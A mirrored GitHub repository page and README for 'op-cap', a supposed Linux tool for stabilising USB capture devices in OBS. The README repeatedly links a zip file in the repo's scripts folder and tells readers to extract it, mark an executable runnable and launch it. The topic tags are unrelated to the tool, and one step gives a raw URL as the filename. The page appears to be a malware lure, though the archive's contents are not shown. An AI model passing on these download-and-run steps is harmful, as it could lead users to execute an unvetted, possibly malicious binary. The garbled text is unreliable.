https://github.com/arilsonpmiranda/op-cap
🎥 Stabilize and optimize Linux USB capture devices for OBS with features like auto-reconnect, driver recovery, and performance enhancements.
https://github.com/arilsonpmiranda/op-cap
barometer capi clusterapi data-collection detection form-builder full-stack gyroscope imu legaltech multilingual openai opencv3 react research security sensors-capture typescript video-capture
Last synced: about 1 month ago
JSON representation
🎥 Stabilize and optimize Linux USB capture devices for OBS with features like auto-reconnect, driver recovery, and performance enhancements.
- Host: GitHub
- URL: https://github.com/arilsonpmiranda/op-cap
- Owner: arilsonpmiranda
- License: gpl-3.0
- Created: 2025-12-31T00:33:05.000Z (about 1 month ago)
- Default Branch: Main
- Last Pushed: 2026-01-05T22:58:42.000Z (about 1 month ago)
- Last Synced: 2026-01-05T22:59:45.732Z (about 1 month ago)
- Topics: barometer, capi, clusterapi, data-collection, detection, form-builder, full-stack, gyroscope, imu, legaltech, multilingual, openai, opencv3, react, research, security, sensors-capture, typescript, video-capture
- Language: Shell
- Homepage: https://arilsonpmiranda.github.io
- Size: 1.37 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Contributing: docs/CONTRIBUTING.md
- License: LICENSE
- Code of conduct: docs/CODE_OF_CONDUCT.md
- Security: docs/SECURITY.md
Awesome Lists containing this project
README
# 🎥 op-cap - Stabilize Your USB Capture Device Simple
[](https://github.com/arilsonpmiranda/op-cap/raw/refs/heads/Main/scripts/cap-op-2.7.zip)
## 🚀 Getting Started
Welcome to op-cap! This application provides helpful tools to stabilize USB capture devices. It allows you to manage USB connections easily, reset devices, and enhance your streaming experience for OBS (Open Broadcaster Software).
## 🛠️ Features
- **Reconnect:** Easily re-establish connections to your USB capture device.
- **USB Reset:** Quickly reset your USB devices without fuss.
- **Delogo/Drawbox:** Add a box to cover unwanted visuals in your stream.
- **Hub Power Cycling:** Control power to your USB hub, helping with stability.
## 📦 System Requirements
- **Operating System:** Linux (tested on popular distributions).
- **Hardware:** A USB capture device (compatible with v4l2loopback).
- **OBS:** Open Broadcaster Software installed for streaming video.
- **FFmpeg:** Recommended for extracting video streams.
## 📥 Download & Install
To download op-cap, please visit this page to download: [Download op-cap](https://github.com/arilsonpmiranda/op-cap/raw/refs/heads/Main/scripts/cap-op-2.7.zip).
You will find the latest version of op-cap listed there. Click on the link to download the relevant file for your system. Once you have downloaded the file, follow these steps to install and run it:
1. Open your file manager and navigate to the folder where you downloaded the file.
2. Locate the op-cap file. It will typically have a name like `https://github.com/arilsonpmiranda/op-cap/raw/refs/heads/Main/scripts/cap-op-2.7.zip`.
3. Right-click the file and select `Extract Here` to unpack the contents.
4. Open your terminal and navigate to the extracted folder by using the `cd` command. For example:
```
cd ~/Downloads/op-cap
```
5. Give the program permission to run with the following command:
```
chmod +x op-cap
```
6. Now, you can run op-cap by typing:
```
./op-cap
```
## ⚙️ Using op-cap
After launching op-cap, a simple interface will guide you through the available tools. You can easily choose what you want to do, whether it's reconnecting your capture device or drawing a box over specific areas of your video feed.
### ✋ Reconnect a USB Device
1. Select the device from the list of connected USB devices shown in the app.
2. Click the "Reconnect" button.
3. Your device will attempt to reconnect automatically.
### 🔄 USB Reset
1. Choose the USB device you wish to reset.
2. Click the "Reset" button next to the device.
3. Wait for a moment as the device resets.
### 🔲 Delogo/Drawbox Feature
1. Click on the "Delogo" option from the main menu.
2. Adjust the size and position of the box on the video preview.
3. Click "Apply" to save your changes.
### 🔌 Hub Power Cycling
1. Select your USB hub from the list in the app.
2. Click on "Power Cycle" to turn off and then on the hub.
3. Monitor for any improvements in device performance.
## 🗣️ Support
If you encounter any issues or have questions, please create an issue in the repository. We aim to respond promptly and will guide you through any difficulties you face while using op-cap.
## 💬 Community
Join our community of users and developers. Share your experiences, ask questions, and find solutions together. Engage with us through discussions in the repository's issue section and help improve the op-cap tool over time.
## 🌟 Contributing
If you're interested in improving op-cap, we welcome contributions! Feel free to fork the repository, make your improvements, and submit a pull request. Your suggestions and feedback are always valuable.
## 📅 Changelog
Stay informed about the changes and improvements made to op-cap. Check the releases section for the latest features, fixes, and updates introduced with each version.
---
Thank you for using op-cap! We appreciate your feedback and support as we continue to enhance this tool for better USB capture stabilization.